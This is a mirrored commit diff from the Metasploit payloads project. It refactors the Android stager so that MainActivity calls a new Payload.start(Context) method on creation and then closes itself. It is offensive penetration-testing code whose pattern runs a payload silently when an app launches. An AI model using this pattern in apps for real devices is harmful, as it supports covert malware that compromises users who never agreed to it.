mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
fix Payload.start
This commit is contained in:
parent
dfeb0d3fef
commit
98aa4babbf
@ -8,7 +8,7 @@ public class MainActivity extends Activity
|
|||||||
@Override
|
@Override
|
||||||
protected void onCreate(Bundle savedInstanceState) {
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
super.onCreate(savedInstanceState);
|
super.onCreate(savedInstanceState);
|
||||||
Payload.startInPath(getFilesDir().toString());
|
Payload.start(this);
|
||||||
finish();
|
finish();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,7 @@
|
|||||||
package com.metasploit.stage;
|
package com.metasploit.stage;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
|
||||||
import java.io.DataInputStream;
|
import java.io.DataInputStream;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
@ -28,6 +30,10 @@ public class Payload {
|
|||||||
|
|
||||||
private static String[] parameters;
|
private static String[] parameters;
|
||||||
|
|
||||||
|
public static void start(Context context) {
|
||||||
|
startInPath(context.getFilesDir().toString());
|
||||||
|
}
|
||||||
|
|
||||||
public static void startAsync() {
|
public static void startAsync() {
|
||||||
new Thread() {
|
new Thread() {
|
||||||
@Override
|
@Override
|
||||||
|
Loading…
Reference in New Issue
Block a user